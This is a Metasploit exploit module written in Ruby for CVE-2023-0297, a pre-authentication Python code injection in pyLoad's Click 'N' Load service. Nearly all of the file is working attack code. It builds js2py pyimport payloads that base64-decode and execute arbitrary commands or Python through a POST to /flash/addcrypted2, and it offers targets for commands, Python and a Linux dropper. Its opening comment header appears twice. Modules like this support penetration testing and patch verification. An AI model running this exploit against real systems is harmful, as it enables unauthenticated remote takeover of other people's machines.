pyLoad js2py Python Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/stopwatch'
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'pyLoad js2py Python Execution',
'Description' => %q{
pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code injection due to the pyimport
functionality exposed through the js2py library. An unauthenticated attacker can issue a crafted POST request
to the flash/addcrypted2 endpoint to leverage this for code execution. pyLoad by default runs two services,
the primary of which is on port 8000 and can not be used by external hosts. A secondary "Click 'N' Load"
service runs on port 9666 and can be used remotely without authentication.
},
'Author' => [
'Spencer McIntyre', # metasploit module
'bAu' # vulnerability discovery
],
'References' => [
[ 'CVE', '2023-0297' ],
[ 'URL', 'https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/' ],
[ 'URL', 'https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad' ],
[ 'URL', 'https://github.com/pyload/pyload/commit/7d73ba7919e594d783b3411d7ddb87885aea782d' ] # fix commit
],
'DisclosureDate' => '2023-01-13',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'python'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_PYTHON],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
}
],
[
'Python',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Type' => :python_exec
}
],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
Opt::RPORT(9666),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
sleep_time = rand(5..10)

_, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_python("import time; time.sleep(#{sleep_time})")
end

vprint_status("Elapsed time: #{elapsed_time} seconds")

unless elapsed_time > sleep_time
return CheckCode::Safe('Failed to test command injection.')
end

CheckCode::Appears('Successfully tested command injection.')
rescue Msf::Exploit::Failed
return CheckCode::Safe('Failed to test command injection.')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd
if execute_command(payload.encoded)
print_good("Successfully executed command: #{payload.encoded}")
end
when :python_exec
execute_javascript("pyimport builtins;pyimport base64;builtins.exec(base64.b64decode("#{Base64.strict_encode64(payload.encoded)}"));")
when :linux_dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")

# use the js2py pyimport command to import the os module to execute a command, use base64 to avoid character issues
# using popen instead of system ensures that the request is not blocked
javascript = "pyimport os;pyimport sys;pyimport base64;_=base64.b64decode("#{Base64.strict_encode64(cmd)}");os.popen(sys.version_info[0] < 3?_:_.decode('utf-8'));"
execute_javascript(javascript)
end

def execute_python(python)
# use the js2py pyimport command to import the builtins module to access exec, use base64 to avoid character issues
javascript = "pyimport builtins;pyimport base64;builtins.exec(base64.b64decode("#{Base64.strict_encode64(python)}"));"
execute_javascript(javascript)
end

def execute_javascript(javascript)
# https://github.com/pyload/pyload/blob/7d73ba7919e594d783b3411d7ddb87885aea782d/src/pyload/core/threads/clicknload_thread.py#L153
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'flash', 'addcrypted2'),
'vars_post' => {
'crypted' => '',
'jk' => "#{javascript}f=function f2(){};"
}
)

# the command will either cause the response to timeout or return a 500
return if res.nil?
return if res.code == 500 && res.body =~ /Could not decrypt key/

fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}")
end
end